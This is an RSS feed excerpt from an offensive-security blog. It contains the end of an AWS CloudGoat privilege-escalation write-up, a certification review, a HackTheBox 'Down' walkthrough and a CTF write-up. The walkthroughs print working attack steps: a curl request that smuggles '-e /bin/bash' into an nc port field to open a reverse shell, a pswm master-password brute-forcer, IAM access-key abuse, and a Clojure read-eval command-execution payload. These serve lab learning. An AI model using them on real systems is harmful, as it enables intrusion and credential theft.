<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/93f35a41-4bda-4143-8b9a-72bda8bdf3ab.png" alt="" style="display:block;margin:0 auto" />

<p>Note that <code>get-policy</code> only gives us metadata. The actual permissions live in the policy document, so we need <code>get-policy-version</code> with the default version ID to see what the user can really do.</p>
<p>Here's the interesting statement attached to <strong>secondary_user</strong>:</p>
<pre><code class="language-json">{
    "Action": [
        "iam:CreateAccessKey"
    ],
        "Effect": "Allow",
        "Resource": "*"
}
</code></pre>
<p>The <code>Resource</code> is what makes this a finding. If the intent was to let users rotate their own keys, this should have been scoped to the caller:</p>
<pre><code class="language-json">"Resource": "arn:aws:iam::&lt;ACCOUNT_ID&gt;:user/${aws:username}"
</code></pre>
<p>Instead it's <code>*</code>, which means <code>secondary_user</code> can create access keys for <strong>any</strong> IAM user in the account, including users far more privileged than itself.</p>
<h2>Listing interesting users</h2>
<pre><code class="language-shell">$ aws iam list-users --profile beanstalk-01
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/8c821b24-9c7c-42d5-b6dd-ccfdd2bed58d.png" alt="" style="display:block;margin:0 auto" />

<p>We find an <code>admin_user</code>. CloudGoat names things helpfully, so picking a target here is just reading the list. On a real account nobody is called <code>admin_user</code>, so you'd work through <code>list-attached-user-policies</code> and <code>list-groups-for-user</code> on each principal and look for who actually holds the wide permissions, rather than trusting the naming.</p>
<h2>Privilege escalation</h2>
<p>With the information we've gathered, we can use <code>secondary_user</code> to create access keys for <code>admin_user</code>, and use those to act as the admin.</p>
<pre><code class="language-shell">$ aws iam create-access-key --user-name cgid6sd400b28h_admin_user --profile beanstalk-01
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/393f4e6a-f01e-44f3-8b8e-ff0d3899c37a.png" alt="" style="display:block;margin:0 auto" />

<p>Configure a profile for the admin account, and confirm access.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/90741139-9f78-461f-ae53-d2586191c609.png" alt="" style="display:block;margin:0 auto" />

<p>Let's confirm the policies.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/56fdad53-1960-4e60-a6ae-72fc90e3aecb.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/06d6cf8f-088d-4b41-a735-2de422da72cd.png" alt="" style="display:block;margin:0 auto" />

<h2>Accessing the flag</h2>
<pre><code class="language-shell">$ aws secretsmanager list-secrets --profile beanstalk-admin
$ aws secretsmanager get-secret-value --secret-id cgid6sd400b28h_final_flag --profile beanstalk-admin
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/43336dcf-d8fe-43d3-8192-b82af340167d.png" alt="" style="display:block;margin:0 auto" />

<p><code>FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}</code></p>
<h2>Remediations</h2>
<p>Three things would break this chain:</p>
<ul>
<li><p>Keep credentials out of Beanstalk environment variables. Store them in Secrets Manager or SSM Parameter Store and have the application resolve them at runtime, so <code>DescribeConfigurationSettings</code> returns a reference instead of a usable key.</p>
</li>
<li><p>Scope <code>iam:CreateAccessKey</code> to <code>arn:aws:iam::&lt;ACCOUNT_ID&gt;:user/${aws:username}</code> so a user can only rotate their own keys.</p>
</li>
<li><p>Alert on CloudTrail <code>CreateAccessKey</code> events where the caller identity doesn't match the target <code>userName</code>. That's the signal that survives the key rotation a responder would reach for first. Finally, tear the lab down so you're not leaving live IAM users and keys in your account:</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[HTB CJCA: Thoughts and Advice]]></title><description><![CDATA[I passed the CJCA, Hack The Box's first junior-level cert. If you're new to the field, take it. If you already work in security, skip it unless you can get it free.
I initially didn't plan to take thi]]></description><link>https://kohicha.dev/htb-cjca-thoughts-and-advice</link><guid isPermaLink="true">https://kohicha.dev/htb-cjca-thoughts-and-advice</guid><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Fri, 24 Jul 2026 17:41:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/2c24a466-dbd4-45db-b8da-504f01421df4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/ef7227fd-8d52-48e5-b24f-21fb69dc3ad2.png" alt="" style="display:block;margin:0 auto" />

<p>I passed the CJCA, Hack The Box's first junior-level cert. If you're new to the field, take it. If you already work in security, skip it unless you can get it free.</p>
<p>I initially didn't plan to take this certification, but due to their new annual plan model, I had to take it so it wouldn't go to waste.</p>
<p>To set some expectations for you, the reader: I already work full-time in offensive security and organize local HTB community meetups, so the CJCA wasn't exactly on my radar.</p>
<h2>Red and blue in one cert</h2>
<p>When CJCA came out I assumed it was purely SOC operations. It has a solid penetration testing section too. It's refreshing to see a cert that gets new students touching both sides of the field.</p>
<h2>Is it worth taking?</h2>
<p>For newcomers, yes. It's one of the most budget-friendly options out there and the modules cover a lot of necessary fundamentals.</p>
<p>With prior experience, no, unless it's free. The exam is fun, but there's little value in paying for it once you're further along. Take the modules instead and prepare for something more specialized like CPTS, CWES, or CDSA.</p>
<h2>Don't speedrun the modules</h2>
<p>I did. As soon as my Silver Annual subscription activated, I burned through the modules on weekends, didn't overthink the material, and sat the exam as soon as I finished. <strong>Don't copy that.</strong></p>
<p>HTB gives you all the information you need, and they don't test memorization; that's what cheatsheets and notes are for. What they test is whether you caught the small details. You'll dig back through your notes and find the answer sitting in a module where it got no <strong>emphasis</strong> at all.</p>
<h2>How the five days went</h2>
<p>The exam gives you five days for two phases: the penetration test, then SIEM alert validation and analysis.</p>
<p>I started on a Sunday night and kicked off some initial scanning. I was exhausted and had work the next day, so I left the exam running and went to sleep. On Day 2 I finished the first phase in under six hours. It was 6 AM when I finally pwned all of the machines.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/164ae9e3-ca77-4bca-ae9e-1f56eef12aac.png" alt="" style="display:block;margin:0 auto" />

<p>Feeling restless, I started drafting the report and exploring the SIEM alerts. Right as I shifted focus, the SIEM returned a 503. The setup wouldn't let me restart that one machine, and I worried that restarting the whole environment would change the flags on the boxes I'd just pwned so my report wouldn't match. I asked around on Discord and decided to finish the entire pentest report before restarting and moving to phase 2.</p>
<img src="https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/2db966f5-c872-4722-90b5-ad46a1f28744.png" alt="" style="display:block;margin:0 auto" />

<p>Day 3 I poked around the SIEM more and validated about 25% of the alerts while wrapping up the report. Day 4 I locked in hard, and the log correlation needed to back every alert with evidence wore me down fast. At around 80% I stopped to clear my head, then powered through the rest, triple-checked everything, and submitted. I passed a week later.</p>
<h2>Tips</h2>
<ul>
<li><p><strong>Use Sysreptor for the report.</strong> Play with it before the exam and start from an existing template. The templates give you the exact sections a commercial-grade report needs, so you fill in findings instead of fighting formatting.</p>
</li>
<li><p><strong>The modules are enough.</strong> Get comfortable with Elastic SIEM, experiment, learn how Sysmon logs are generated, and learn the patterns of normal versus malicious behavior. Outside labs won't hurt, but the Academy practice labs and skills assessments will get you there.</p>
</li>
<li><p><strong>Learn to enumerate.</strong> Sometimes people are lazy and leave important information sitting in plain sight. Research what you don't know: knowing what to search for gets you further than knowing the answer, and don't lose situational awareness.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[DOWN - HackTheBox]]></title><description><![CDATA[Down is a retired easy Linux machine that involves exploiting a web service vulnerable to Server-Side Request Forgery (SSRF) due to weak input sanitization and improper URL validation. By leveraging this flaw, we retrieve the source code of the web a...]]></description><link>https://kohicha.dev/down-hackthebox</link><guid isPermaLink="true">https://kohicha.dev/down-hackthebox</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[ethicalhacking]]></category><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Thu, 03 Jul 2025 16:17:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751550333148/27b9a33d-ff2a-4c8f-976d-6937c7172573.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Down is a retired easy Linux machine that involves exploiting a web service vulnerable to Server-Side Request Forgery (SSRF) due to weak input sanitization and improper URL validation. By leveraging this flaw, we retrieve the source code of the web application, which reveals an interesting parameter that we use to gain a shell as the <code>www-data</code> user.</p>
<p>Upon initial access, we perform local enumeration and discover a <code>pswm</code> file in a user's home directory. The file appears to contain encrypted credentials protected by a weak encryption scheme. We develop a script to brute-force the master password and successfully decrypt the file, obtaining user credentials.</p>
<p>Using these credentials, we escalate to a user account with unrestricted <code>sudo</code> privileges, ultimately gaining full root access to the system.</p>
<h1 id="heading-reconnaissance">Reconnaissance</h1>
<p>We start with a port scan against the target.</p>
<pre><code class="lang-bash">PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9eTcP2DDxJHJ2uCdOmMRIPaoOhvMFXL33f1pZTIe0VTdeHRNYlpm2a2PumsO5t88M7QF3L3d6n1eRHTTAskGw=
|   256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwLt0rmihlvq9pk6BmFhjTycNR54yApKIrnwI8xzYx/
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre>
<p>There’s no other ports open, so let’s visit the site.</p>
<h1 id="heading-web-application">Web Application</h1>
<p>We are greeted with a feature that checks if a site is down or not.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751553131821/9614e2c9-d689-496b-8064-7951c386f544.png" alt class="image--center mx-auto" /></p>
<p>I started a python server and passed my tun0 ip as the url in the input.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751553387355/14138c81-cccf-479c-96fb-99217bfadf63.png" alt class="image--center mx-auto" /></p>
<p>I’ve tried different ssrf injection techniques like command injection or accessing the file system, but we had no luck, since the only allowed protocols are <code>HTTP</code> and <code>HTTPS</code>. I then set up an <code>nc</code> listener to see if we can get extra information about the service.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751554084103/63fb89e0-cfa7-4b6d-bde4-582004dd004d.png" alt class="image--center mx-auto" /></p>
<p>We can see that the webserver is using <code>curl</code> , which is a unix command-line utility. In curl, we can supply two urls, and it would send a request to both of the urls.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751554887394/ca47b273-251c-48d9-ac16-cbf1e52042a5.png" alt class="image--center mx-auto" /></p>
<p>We have a user named <code>aleks</code>, but we couldn’t find any hard-coded credentials. So instead, we’ll look at the source code of the application in <code>/var/www/html/index.php</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751555096897/e1673f8b-cbe3-41e9-b79a-c4d0dae815a1.png" alt class="image--center mx-auto" /></p>
<p>In the source code, we find an interesting code block that leads us to another feature, by passing “<em>tcp</em>“ to the <code>expertmode</code> parameter.</p>
<pre><code class="lang-php">
<span class="hljs-keyword">if</span> ( <span class="hljs-keyword">isset</span>($_GET[<span class="hljs-string">'expertmode'</span>]) &amp;&amp; $_GET[<span class="hljs-string">'expertmode'</span>] === <span class="hljs-string">'tcp'</span> &amp;&amp; <span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'ip'</span>]) &amp;&amp; <span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'port'</span>]) ) {
  $ip = trim($_POST[<span class="hljs-string">'ip'</span>]);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST[<span class="hljs-string">'port'</span>]);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
&lt;SNIP&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751555651781/bbc8926a-0c9e-435a-8bb7-cd8bbd0ee8b8.png" alt class="image--center mx-auto" /></p>
<p>In the source code, the code passes <code>/usr/bin/nc</code> through the function <code>escapeshellcmd()</code>, which calls the binary to the command line, we can exploit this feature and get a shell.</p>
<h1 id="heading-shell-as-www-data">Shell as www-data</h1>
<p>We set up an nc listener, and get a shell by adding <code>-e /bin/bash</code> to the enter a port number. We’ll use curl to call the function in the webapp. <code>curl -X POST '</code><a target="_blank" href="http://10.129.234.87/index.php?expertmode=tcp"><code>http://10.129.234.87/index.php?expertmode=tcp</code></a><code>' -d "ip=10.10.14.41&amp;port=8000 -e /bin/bash"</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751557666738/d2da7348-8506-4996-9894-f504d10a9318.png" alt class="image--center mx-auto" /></p>
<p>Let’s upgrade our shell and we can see that user.txt is in the current path we are in.</p>
<h1 id="heading-privilege-escalation">Privilege Escalation</h1>
<p>Now, let’s explore the system. Earlier, we found a user <code>aleks</code> so let’s explore his directory. We can see that he has a file called pswm.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558072822/0536bcf8-afbd-492d-8846-afcfc9d126d1.png" alt class="image--center mx-auto" /></p>
<p>We look up what pswm is, and we come across a <a target="_blank" href="https://github.com/Julynx/pswm">Github repository</a> which leads us to a project called PSWM. There’s not much description about it, so let’s clone the repository and explore.</p>
<blockquote>
<p><em>A simple command line password manager written in Python.</em></p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558327362/93a665bd-ba6e-4d2f-b401-5a89ea8c04f1.png" alt class="image--center mx-auto" /></p>
<p>We install the required modules, using uv, and run the pswm binary. We are prompted to create a password, and we can see that it is stored in <code>~/.local/share/pswm/pswm</code>, similarly in the linux machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558522815/b78f18ff-1ed4-4554-b30f-a3c8b81d065a.png" alt class="image--center mx-auto" /></p>
<p>Upon inspecting the source code, we can see that there is an option to decrypt the password, by first passing the master password to the function.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558594397/ed8e2953-5149-4d71-a475-fa75bf14cda8.png" alt class="image--center mx-auto" /></p>
<p>We can create a quick python script poc to bruteforce the master_password, in order for us to decrypt the pswm file. We just need to pass the pwsm file we found earlier and a wordlist that we can use to bruteforce the master_password.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> cryptocode
<span class="hljs-keyword">import</span> sys

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">usage</span>():</span>
    print(<span class="hljs-string">f"Usage: <span class="hljs-subst">{sys.argv[<span class="hljs-number">0</span>]}</span> &lt;pwsm file&gt; &lt;wordlist&gt;"</span>)
    sys.exit(<span class="hljs-number">1</span>)

<span class="hljs-keyword">if</span> len(sys.argv) != <span class="hljs-number">3</span>:
    usage()

<span class="hljs-keyword">try</span>:
    <span class="hljs-keyword">with</span> open(sys.argv[<span class="hljs-number">1</span>], <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> f:
        encrypted = f.read().strip()

    <span class="hljs-keyword">with</span> open(sys.argv[<span class="hljs-number">2</span>], <span class="hljs-string">'r'</span>, errors=<span class="hljs-string">'ignore'</span>) <span class="hljs-keyword">as</span> f:
        <span class="hljs-keyword">for</span> line <span class="hljs-keyword">in</span> f:
            password = line.strip()
            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> password:
                <span class="hljs-keyword">continue</span>
            decrypted = cryptocode.decrypt(encrypted, password)
            <span class="hljs-keyword">if</span> decrypted:
                print(<span class="hljs-string">f"[+] Found password: <span class="hljs-subst">{password}</span>"</span>)
                print(decrypted)
                <span class="hljs-keyword">break</span>
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">"[-] No valid password found."</span>)
<span class="hljs-keyword">except</span> FileNotFoundError <span class="hljs-keyword">as</span> e:
    print(<span class="hljs-string">f"File error: <span class="hljs-subst">{e}</span>"</span>)
    sys.exit(<span class="hljs-number">1</span>)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751558968391/8ccd0122-75f8-4808-9130-59ddd8efbb75.png" alt class="image--center mx-auto" /></p>
<p>Let’s login as aleks.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751559124540/8d95cc6e-d99b-4bff-abb6-d2745c0ee377.png" alt class="image--center mx-auto" /></p>
<p>Apparently, he has too much privileges. Let’s add our own ssh keys to the root user, and finally get our flag!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751559764626/7e8b5a3e-5d45-4468-b06f-249308c846be.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751560441484/d2e8d567-ee08-4d92-a3c0-23bd628194a5.png" alt class="image--center mx-auto" /></p>
<p>That’s pretty much it! This is my first box after purchasing VIP+ with my credit, I hope you learned something new!</p>
]]></content:encoded></item><item><title><![CDATA[0xL4ugh CTF - Manifesto]]></title><description><![CDATA[As the year is about to end, me and my team decided to join 0xl4ugh as our final CTF event of the year. We’ll be tackling Manifesto for this writeup.
Manifesto

This is an easy challenge, except... it's written in Clojure. Can you find your way throu...]]></description><link>https://kohicha.dev/0xl4ugh-ctf-manifesto</link><guid isPermaLink="true">https://kohicha.dev/0xl4ugh-ctf-manifesto</guid><category><![CDATA[CTF]]></category><dc:creator><![CDATA[kohicha]]></dc:creator><pubDate>Sun, 29 Dec 2024 11:00:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1735469937171/c415da4b-b791-419d-bf34-905e4ad2e4a8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>As the year is about to end, me and my team decided to join 0xl4ugh as our final CTF event of the year. We’ll be tackling Manifesto for this writeup.</p>
<h2 id="heading-manifesto">Manifesto</h2>
<blockquote>
<p>This is an easy challenge, except... it's written in Clojure. Can you find your way through all of these parentheses and come out victorious? - @aelmo</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735456416160/f1e1e14b-4864-458d-8e30-f4695ec33542.png" alt class="image--center mx-auto" /></p>
<p>After downloading the challenge files, the Dockerfile contained the flag, which indicates that we have to access a shell to perform command execution and access the environment variable.</p>
<pre><code class="lang-dockerfile"><span class="hljs-keyword">ENV</span> CLOJURE_PORT <span class="hljs-number">80</span>
<span class="hljs-keyword">ENV</span> FLAG <span class="hljs-string">'0xL4ugh{this_is_a_fake_flag}'</span>

<span class="hljs-keyword">EXPOSE</span> <span class="hljs-number">80</span>

<span class="hljs-keyword">ENTRYPOINT</span><span class="bash"> [<span class="hljs-string">"lein"</span>, <span class="hljs-string">"run"</span>]</span>
</code></pre>
<p>The server is written in <a target="_blank" href="https://clojure.org/">Clojure</a>, which is a dynamic, general-purpose programming language, combining the approachability and interactive development of a scripting language with an efficient and robust infrastructure for multi-threaded programming.</p>
<hr />
<h2 id="heading-bypassing-authentication">Bypassing authentication</h2>
<p>After exploring a bit, we found that we could only access <code>/gist</code> if we were logged in as admin. So first, we had to find a way to bypass the authentication and set our session as the admin. We ran the application in Burp, and after making some changes, we observed that it creates a request to change the preferred theme with an additional parameter.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735458521924/7b8f6f62-0378-464e-b808-2460fe074ec7.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-clojure">(<span class="hljs-name">re-matches</span> #<span class="hljs-string">"/"</span> uri)
     (<span class="hljs-name"><span class="hljs-builtin-name">-&gt;</span></span> (<span class="hljs-name">r/response</span>
          (<span class="hljs-name">render-file</span> <span class="hljs-string">"index.html"</span>
                       {<span class="hljs-symbol">:prefer</span> (<span class="hljs-name"><span class="hljs-builtin-name">or</span></span> (<span class="hljs-name">query-params</span> <span class="hljs-string">"prefer"</span>) (<span class="hljs-name">session</span> <span class="hljs-string">"prefer"</span>) <span class="hljs-string">"light"</span>)
                        <span class="hljs-symbol">:username</span> (<span class="hljs-name">session</span> <span class="hljs-string">"username"</span>)
                        <span class="hljs-symbol">:url</span> uri}))
         (<span class="hljs-name"><span class="hljs-builtin-name">assoc</span></span> <span class="hljs-symbol">:session</span> (<span class="hljs-name"><span class="hljs-builtin-name">merge</span></span> {<span class="hljs-string">"prefer"</span> <span class="hljs-string">"light"</span>} session query-params)))
</code></pre>
<p>The code above checks two parameters: <code>prefer</code> and <code>username</code>. Using this, we were able to bypass the authentication by passing the parameters as such: <code>/?prefer=dark&amp;username=admin</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735459353614/e9325220-644d-436d-9a73-e7908d516684.png" alt class="image--center mx-auto" /></p>
<p>We were now logged in as admin. While we could use other usernames to log in, we wouldn’t be able to access the <code>/gist</code> endpoint.</p>
<h2 id="heading-command-injection">Command Injection</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735460768871/c77c1033-65aa-4780-a824-a993607699e2.png" alt class="image--center mx-auto" /></p>
<p>In the gist page, we are able to post a gist, and it will display the gist as seen in the picture. After inspecting the code, we are able to see the vulnerable function, which reads the input without prior sanitization.</p>
<pre><code class="lang-clojure"> (<span class="hljs-name"><span class="hljs-builtin-name">=</span></span> request-method <span class="hljs-symbol">:post</span>)
           (<span class="hljs-name"><span class="hljs-builtin-name">let</span></span> [{<span class="hljs-symbol">:strs</span> [gist]} form-params]
             <span class="hljs-comment">;; clojure has excellent error handling capabilities</span>
             (<span class="hljs-name"><span class="hljs-builtin-name">try</span></span>
               (<span class="hljs-name">insert-gist</span> (<span class="hljs-name">session</span> <span class="hljs-string">"username"</span>) (<span class="hljs-name">read-string</span> gist))
               (<span class="hljs-name">r/redirect</span> <span class="hljs-string">"/gists"</span>)
               (<span class="hljs-name">catch</span> Exception _ (<span class="hljs-name">json-response</span> {<span class="hljs-symbol">:error</span> <span class="hljs-string">"Something went wrong..."</span>}))))

           <span class="hljs-symbol">:else</span>
           (<span class="hljs-name">json-response</span> {<span class="hljs-symbol">:error</span> <span class="hljs-string">"Something went wrong..."</span>}))
</code></pre>
<blockquote>
<p>Here’s the snippet with the vulnerable input.</p>
</blockquote>
<p>Clojure has a neat documentation, where we can find the <a target="_blank" href="https://clojuredocs.org/clojure.java.shell/sh">clojure.java.shell</a> namespace, which we could use to craft our payload.</p>
<blockquote>
<p>In Clojure, there are different reader forms. In our case, we used a Macro Character <code>#</code>, which is essentially a shortcut for <code>eval</code>. We paired it with an equal sign <code>=</code>, allowing it to evaluate immediately during the read phase.</p>
</blockquote>
<p>Our eval payload looked like this: <code>#=()</code>.</p>
<p>The payload were as follows:</p>
<pre><code class="lang-clojure">#=(<span class="hljs-name">require</span> clojure.java.shell)
#=(<span class="hljs-name">clojure.java.shell/sh+</span><span class="hljs-string">"printenv"</span>)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735469488044/722b35e5-c769-4f33-866e-edeab9e2e673.png" alt class="image--center mx-auto" /></p>
<p>We finally got the flag!</p>
<h2 id="heading-final-thoughts">Final thoughts</h2>
<hr />
<p>This web challenge was really interesting overall, a few head scratches and frustration from reading this godforsaken syntax, but we always learn something new.</p>
<p>Special thanks to my team D0MBUSTERS, I’ve learned a lot from them just from this year alone.</p>
]]></content:encoded></item></channel></rss>